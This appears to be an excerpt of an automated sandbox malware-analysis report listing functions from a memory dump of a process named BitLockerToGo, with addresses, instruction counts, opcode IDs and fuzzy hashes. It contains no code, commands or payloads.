Opcode ID: 075b01847aaf26028216fc35fcf8806ff781ebfab1ce3c405fb436bf780cd9fc
Instruction ID: 278b0de5fa6bbb46e28543b8eec46c6bf79dd86cd104560134ac20f7e820ae89
Opcode Fuzzy Hash: 075b01847aaf26028216fc35fcf8806ff781ebfab1ce3c405fb436bf780cd9fc
Instruction Fuzzy Hash: 99518F74A4C200ABE715AF14E8C0A2AF7E6EF95355F588C1CE9C5973A1D371EC24CB62

Function 02D19060 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

@, xrefs: 02D19126

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a99658966ae7f80d31aac099f9afbb900683e9f3e6b07c0eeb4ffa0c0241ef50
Instruction ID: a9fd5282cac26f2b4d67008f3226eb7e25920b67ad7237f6f0a82acedb15e48a
Opcode Fuzzy Hash: a99658966ae7f80d31aac099f9afbb900683e9f3e6b07c0eeb4ffa0c0241ef50
Instruction Fuzzy Hash: 7A41DCB1508300AFD7109F64E8A5B6BB7E5EF85318F18881DE5898B3A1E375C914CB52

Function 02D19960 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

@, xrefs: 02D199B0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: ac39f9a6cc35ebd249f6bbc80df422481c94defba8c07287ae9341178e87a43c
Instruction ID: 7919c35adf3958f306ee051ae5bad0cce408aa274278c675a2d4fe52272d55ec
Opcode Fuzzy Hash: ac39f9a6cc35ebd249f6bbc80df422481c94defba8c07287ae9341178e87a43c
Instruction Fuzzy Hash: 54316970909200ABD310DF14E4A0A6BFBF9FF9A318F14992CE5C897790E335D918CB66

Function 02CDBCD0 Relevance: .8, Instructions: 782COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0641d765868be0eb934f823910522f3d33c24183e458b1c7c04f70280b1ebfd0
Instruction ID: 9322f9885b56c2e75f1aea122089d6cc6f796fe417207fb1046c1302c814948b
Opcode Fuzzy Hash: 0641d765868be0eb934f823910522f3d33c24183e458b1c7c04f70280b1ebfd0
Instruction Fuzzy Hash: 4942D4316083158BC725DF19D8803BEB3E2FFC4718F19892EDA9697285D735EA51CB82

Function 02CF2AA0 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c381fa36c5bc9b07039ae166a9c0be2e2a170b7c5cc357c945c48d720f0d9494
Instruction ID: bb41904e55342ef75cbdb43431e2d4d7910b115a133d33422933918db561a9a9
Opcode Fuzzy Hash: c381fa36c5bc9b07039ae166a9c0be2e2a170b7c5cc357c945c48d720f0d9494
Instruction Fuzzy Hash: CD72E7B0508B819ED371CF3C8948787BFE5AB1A314F444A9DE0EE8B792D3756505CB62

Function 02CDB1C0 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21239d803694c18d44292852bfcf32c35572c0fc2c412d04e0200f7bb212b936
Instruction ID: 3d0795f4fc17bab9496bfaf12371507256b7b6cab586ec807897265279ab7dd9
Opcode Fuzzy Hash: 21239d803694c18d44292852bfcf32c35572c0fc2c412d04e0200f7bb212b936
Instruction Fuzzy Hash: FE52F9709087888FE734CB24C4847A7BBE1EF81318F16492ED6EB06B82D779E985C755

Function 02CD7150 Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1df4e4be7ba248b1ad4f2d7fb984b85423205a1a5e8fa6ca5bef0be816eb7a4b
Instruction ID: f1c67cd2c8cc3b90dceabb2fb318011f9efcff6994cc6c910f35490221a746ea
Opcode Fuzzy Hash: 1df4e4be7ba248b1ad4f2d7fb984b85423205a1a5e8fa6ca5bef0be816eb7a4b
Instruction Fuzzy Hash: 2252CE315083458FCB15CF29C0806AAFBE1BFC8318F598A6EE9995B341D774E989CB81

Function 02CE51BD Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a63e3f7b3aa3187bece710034b5b288749fed9e00839a78e0bde3f8950479a2
Instruction ID: dcefe4bfbe783d84d42b60473530cc1ca95257f5b9e639e3d0bd430879d6ad45
Opcode Fuzzy Hash: 9a63e3f7b3aa3187bece710034b5b288749fed9e00839a78e0bde3f8950479a2
Instruction Fuzzy Hash: E21266B46102409FD7358F28C880B26BBF2FF4A349F64484CE5C68B752E736A855CBA5

Function 02CD7B50 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87fa853598bdec29490406eb9f83ceec2725ac5b2eca457e76a53c10aa1b919a
Instruction ID: b11c19662ad4b167e4c4cf67a76376a8cfa2aa853e19cd0d2dae17358758a597
Opcode Fuzzy Hash: 87fa853598bdec29490406eb9f83ceec2725ac5b2eca457e76a53c10aa1b919a
Instruction Fuzzy Hash: 1532F070514B118FC378CF29C59066AFBF2BB85610B944A2ED6A78BF90D736F849CB50

Function 02CDA110 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45f40516d03e080300a34607671a2b77a14a68e7507698c8e96b957cbf3b1539
Instruction ID: a92705f6589387dd7daa9736dab1150a7df948d2b7695cf92c09e1eaa52fae4b
Opcode Fuzzy Hash: 45f40516d03e080300a34607671a2b77a14a68e7507698c8e96b957cbf3b1539
Instruction Fuzzy Hash: 8CF1CC366087418FC724CF29C88076BFBE2AFC9204F08982DE5D987751EB75E945CB96

Function 02D16720 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7694968fa1101342b7e41153b1a6defc0a20dcd979e0de0e8264e9ad2da8954
Instruction ID: 9f5ef8763513f1d89c96e13c22ba05d41e2e91fcafdd3638afa8137e4da482f7
Opcode Fuzzy Hash: c7694968fa1101342b7e41153b1a6defc0a20dcd979e0de0e8264e9ad2da8954
Instruction Fuzzy Hash: 26F12232A1C241DFC724CF28E49052AB7E6FF99314F1A8AADD49887381D739DD65CB81

Function 02CFC75E Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd1e58d1dbabd116fcf9804dc0aadbf9641abe8526d6686ff306a217fcc661f
Instruction ID: 5b7b1597d4647a9495e68893cf7f7dc7aac51945a0f708ca48ddc80c2e3638ee
Opcode Fuzzy Hash: 4fd1e58d1dbabd116fcf9804dc0aadbf9641abe8526d6686ff306a217fcc661f
Instruction Fuzzy Hash: C4D13931A48385CFD364CF38D89076AB7E2AF96310F198A6DE6A5473D1D731DA58CB01

Function 02CF74AA Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651177f851fbc3092b012b7070e4bef738d89b19f216cdc1eeca923fc0c3aa3d
Instruction ID: ed9de7c897bee1ebf8f728b1b3b5bcff4c5d27df1ceb3c5229f027bf8bfde6c0
Opcode Fuzzy Hash: 651177f851fbc3092b012b7070e4bef738d89b19f216cdc1eeca923fc0c3aa3d
Instruction Fuzzy Hash: 6BC1E075918351DFC3A58F28D890A2AF7E2FF95315F49892CE9D18B390D334E869CB81

Function 02CFB5B0 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7396e93ae33e5b22ebe9eef3f46821f30ba0818aae7b4b8fd08e53a39f49e754
Instruction ID: 2ba965ca400fe868079fb4f8352eb8fe25d3758dddf24fe09eb267ddb4777e9f
Opcode Fuzzy Hash: 7396e93ae33e5b22ebe9eef3f46821f30ba0818aae7b4b8fd08e53a39f49e754
Instruction Fuzzy Hash: A1B1F1716083059BD7949F15C89072BB7E2EFD9358F18492CEACA8B391E735EE04CB52

Function 02D17800 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aca2378bba58e80f9ff25dabdfb1e58a52b813a387e63c464d9c63657b1c144
Instruction ID: d8452aa466f8bb04eaa0f67e8c3562fb3fc1ca82f1f09b629083f877dabdfa7a
Opcode Fuzzy Hash: 8aca2378bba58e80f9ff25dabdfb1e58a52b813a387e63c464d9c63657b1c144
Instruction Fuzzy Hash: 54B1C371A083406BE714DA19EC40B6BF7E6EBC4718F08492DE998D7765EB34DD04CB52

Function 02CDAD20 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0590869f7e472a4fc1840ce596b24efcccd291cbc8f73edd6f1921e6473e09
Instruction ID: 531efb59002d29fd0671224b9efbbd4811e4b26047c205f140755f694b246822
Opcode Fuzzy Hash: 6b0590869f7e472a4fc1840ce596b24efcccd291cbc8f73edd6f1921e6473e09
Instruction Fuzzy Hash: FCC14BB2A487418FC360CF68DC86B9BB7E1FB85318F09892CD299C7341E779A155CB45

Function 02D188F6 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e7193350ecfcd91a8b24fbb30b7ded7fc03a59529d9d29c52b2846a1f5f0760
Instruction ID: 6f28b9b148476221cf0b65b98d2f73fcb6a8946b5ef985680cca921b3e971e41
Opcode Fuzzy Hash: 8e7193350ecfcd91a8b24fbb30b7ded7fc03a59529d9d29c52b2846a1f5f0760
Instruction Fuzzy Hash: 4AA1CE32E59106DBCB18CF68E4816AEBBF2FB4A314F198569D845E7381C738DD50CB90

Function 02D19D50 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89cbbae6080b897795ba868420088b9ca5705a8f5494533a875fa2fabb0191b
Instruction ID: 28809242f077f8fa2fd43d2381955a98943efc9967d710f26c8a740cc37279e9
Opcode Fuzzy Hash: c89cbbae6080b897795ba868420088b9ca5705a8f5494533a875fa2fabb0191b
Instruction Fuzzy Hash: FB81BF74209301ABD724DF28E8A0A6BB7E1FF89744F55891CE985CB791E731EC50CB52

Function 02D18370 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864a930cc9daf9115f175a838d19c1e3022b1a0e6d18542e50f45930f0712f7a
Instruction ID: b4bca98f86b6033cdce7f55268d18e3a484bdfa0a670d4710150e871b01f0fd9
Opcode Fuzzy Hash: 864a930cc9daf9115f175a838d19c1e3022b1a0e6d18542e50f45930f0712f7a
Instruction Fuzzy Hash: 9C91DD75A4C240DFD354DF28E49061AB7E1FB9A315F0A8CACD98997740D339EC68DB41

Function 02CF7C20 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7b767010893ddeb202bda9b0e063cf16f0f3bfb930368979203e84db47568c
Instruction ID: cd8826f0d0f592f2358e3d0b1268f6add7f3ef89eccceac6d8d0e5111bf0ca64
Opcode Fuzzy Hash: 1e7b767010893ddeb202bda9b0e063cf16f0f3bfb930368979203e84db47568c
Instruction Fuzzy Hash: F2917D75A08202DFE754DF24E890B6AB3E9FF98315F0A496CE98587340D734ED68CB51

Function 02CF7E26 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9380399e4221f45d27ebcc32b32b6c74f211ffa1afc729d0fd3acc038a03579c
Instruction ID: e82d1e4483ea7703aa5896562e591d33cbe682d0e1a7d7391a3b22134bd89288
Opcode Fuzzy Hash: 9380399e4221f45d27ebcc32b32b6c74f211ffa1afc729d0fd3acc038a03579c
Instruction Fuzzy Hash: 17916A35A18202DFE754DF28E89076AB3E9FF98316F0A486CE98587341D734ED68CB51

Function 02CD6420 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e511da1d023be4f9311503bd1b7d668afce91a3cfb28f0ec7d3cd720e542957
Instruction ID: 8185247af7f8c2b1aeb266faaa80113261a9080d31535d803eb1690772a1ed1c
Opcode Fuzzy Hash: 0e511da1d023be4f9311503bd1b7d668afce91a3cfb28f0ec7d3cd720e542957
Instruction Fuzzy Hash: E5713B315483818FE7158E28E8513677BE9EF82208F38897DDACACB385E375D946C791

Function 02CE4CF8 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fcb81810c4c8307f44bab193f9b6eb207a91ce2461ed9b8f2f818275158c9c
Instruction ID: 106c4de26f62d5a742975c0577a4cfa4e23a89c3863dcc17e6909601214ed997
Opcode Fuzzy Hash: b9fcb81810c4c8307f44bab193f9b6eb207a91ce2461ed9b8f2f818275158c9c
Instruction Fuzzy Hash: 8B514A706007418FDB3A9F29C880B27B7F6AF89314F248A6DD0AB87750E774E945CB95

Function 02D07A00 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c7abce5c5f7ab1fe8450decd13573bc729a29e5b9153926aac70728a59fbdfc
Instruction ID: c3ff5f565ad68220955c9ff24ee4f3656c324c66749477b4c6c868ef16639777
Opcode Fuzzy Hash: 8c7abce5c5f7ab1fe8450decd13573bc729a29e5b9153926aac70728a59fbdfc
Instruction Fuzzy Hash: E7510633B4A9914BF328883D5CA13AAEA834BD6234F2D976AD4F54F3E1D5659C02C351

Function 02CFCD80 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39148704f5411def39d41399c0b50f349c510afd46f1834384ad0b9fc0f3ab1b
Instruction ID: 47530da2ddaf6a0734ca783ae1920cf508e55e57d3f9068cc1390144744a3510
Opcode Fuzzy Hash: 39148704f5411def39d41399c0b50f349c510afd46f1834384ad0b9fc0f3ab1b
Instruction Fuzzy Hash: 7F51C577B14A110BD75DC929C87173EB5935BC8220F5CC63EE96B8B3DAEB3099158281

Function 02D077C0 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824e5ff18a77033ae72fac51b5cbe15ae232342a480dbc760ad134b1510f14fe
Instruction ID: efe46e9e75763f0cba6ebaf482196de392631fa08c2aa2c312ab8d463448cfab
Opcode Fuzzy Hash: 824e5ff18a77033ae72fac51b5cbe15ae232342a480dbc760ad134b1510f14fe
Instruction Fuzzy Hash: 6C51E333A5A5D046E714493D5C813B9EA171BE7234B3E8366A8F18F3E1C666DC12C391

Function 02D13E30 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acece101d991fd88545e1eacf96e568cccd0dd0d67afc87e52e81b8ca9d8e753
Instruction ID: 607415693c8478b91c38fcf58539404ebb78f5f9ec85f4b9e72bd7296361b097
Opcode Fuzzy Hash: acece101d991fd88545e1eacf96e568cccd0dd0d67afc87e52e81b8ca9d8e753
Instruction Fuzzy Hash: B361AB7060C341BBE7659E15E880B2AFBE2EB84314F58899CF5D9877A1D331EC54CB52

Function 02D0D850 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c74a5fcb78ba7649df40a37d0d90475295fc2b447c5cb1f91e2738a5b779dff
Instruction ID: 0fed61a014119ff398050d21b89a3a03a82f4450d2c851ebb4a657f90a182dae
Opcode Fuzzy Hash: 0c74a5fcb78ba7649df40a37d0d90475295fc2b447c5cb1f91e2738a5b779dff
Instruction Fuzzy Hash: E55129B59087548FE314DF69D49475BBBE1FB84318F044A2EE4E987390E379DA088F92

Function 02CD59A0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5a1846498a42bc51e2ff74031b3bd03fa420b200d817e6b26b646e949b1595
Instruction ID: 710c72c8572e3f1ca500ced4828d55e89724bfc3fb39536696c9dc50464ce5e5
Opcode Fuzzy Hash: 2d5a1846498a42bc51e2ff74031b3bd03fa420b200d817e6b26b646e949b1595
Instruction Fuzzy Hash: F051F5B5A04210AFC714DF18C480926B7E1FFC53A8F55466DE9999B341D731ED42CF92

Function 02D12D50 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0fac1f312cca1b85d3a0f9d450b19f01d606ac6d67a966d2ea7a6c87dc9628
Instruction ID: aeabc11c972ab5be1ce4b84a63bbc0dc36474f0059850e452dcc711cad82189b
Opcode Fuzzy Hash: 3f0fac1f312cca1b85d3a0f9d450b19f01d606ac6d67a966d2ea7a6c87dc9628
Instruction Fuzzy Hash: E6419334608210ABD724DF55F988A2BBBE6EF95748F18881DE8C597B51D332DC50CB62

Function 02CF7A42 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62df8cef0e06b0bdef5f6e2dd56eac50627ae65cfae5fc220234147862f8b18
Instruction ID: ff2ee05c8ed0d517feb9b8f8b2d6c480f3b72b05b25614a38ca36f480b10f3de
Opcode Fuzzy Hash: b62df8cef0e06b0bdef5f6e2dd56eac50627ae65cfae5fc220234147862f8b18
Instruction Fuzzy Hash: 37516E35A59202DBE794CF28D89072AB3E6FFA8301F4A496CE98587381D734E964CB51

Function 02CF7A60 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab689a3d6124fa7cde93cf1a817fe458b5f2b6c7b3a6e7e192b19f17f96ac4d
Instruction ID: 6082e00ea873bf723de9d95f6a9198e5d175636264812f6ed6f412f06242800f
Opcode Fuzzy Hash: cab689a3d6124fa7cde93cf1a817fe458b5f2b6c7b3a6e7e192b19f17f96ac4d
Instruction Fuzzy Hash: 2B516E35A59302DBE794CF28D890B2AB3E6FFA8305F0A496CE98587341D734ED64CB51

Function 02D19650 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f8d0b21de18b8fe8dae0eb10908dd0fa254076703653f75569344a3542f5c6
Instruction ID: 0208504be5458acb8a3a483d4889f01b22323b9fa00b9293ab40006e492dc80b
Opcode Fuzzy Hash: c4f8d0b21de18b8fe8dae0eb10908dd0fa254076703653f75569344a3542f5c6
Instruction Fuzzy Hash: F241AC74608340BBD7249E14E8A0B6BB7A6EF85718F288C1CE58987781D375EC10CB66

Function 02D13230 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3342e99d5925f9d6083c26b509aee6e0aa8d7e90d3e6fee579aefa229c6851f4
Instruction ID: dec2662ba4c921ac78e6c3c990fc1b20347a6da8c38b531f605d97a325972ae4
Opcode Fuzzy Hash: 3342e99d5925f9d6083c26b509aee6e0aa8d7e90d3e6fee579aefa229c6851f4
Instruction Fuzzy Hash: 3D41AC35608240FBDB69EF58F840A6BBBA6EF85344F14885CE8C593B51D731DC20DB62

Function 02D197E0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08baba8904cc8b62b9bc87199c71a59b8d9c0fedf58ebdf0d62449cd7eea5540
Instruction ID: 6a125fb5b49c5353bf99df0640e708db9ee3d9fe8721565cb64a63820832dde6
Opcode Fuzzy Hash: 08baba8904cc8b62b9bc87199c71a59b8d9c0fedf58ebdf0d62449cd7eea5540
Instruction Fuzzy Hash: 2141AE74608300BBD7249E14E8A0B6BB7E6EF85714F64981CF5C997781D375EC10CB66

Function 02CE0E50 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6e061b5493cf97cf40694972745a3a86c68766b85ad55b7997154b752623c9
Instruction ID: e22dca14e2885f024af009c606bd6bd1029bac368ae76811fb5642cda27ac1d9
Opcode Fuzzy Hash: 9a6e061b5493cf97cf40694972745a3a86c68766b85ad55b7997154b752623c9
Instruction Fuzzy Hash: F1410432A1C3914FD318DE3A889012ABBD2ABC5214F49C63DF0E6877C4E6758905D791

Function 02D0ECB0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0859ab5bef15108ddf6a50457199b2037f3be541f272c139ff6e350865aa4766
Instruction ID: f54a8df05cdcda5aa4d924447c08e4085c4d2a7490799be77fd3079519f55461
Opcode Fuzzy Hash: 0859ab5bef15108ddf6a50457199b2037f3be541f272c139ff6e350865aa4766
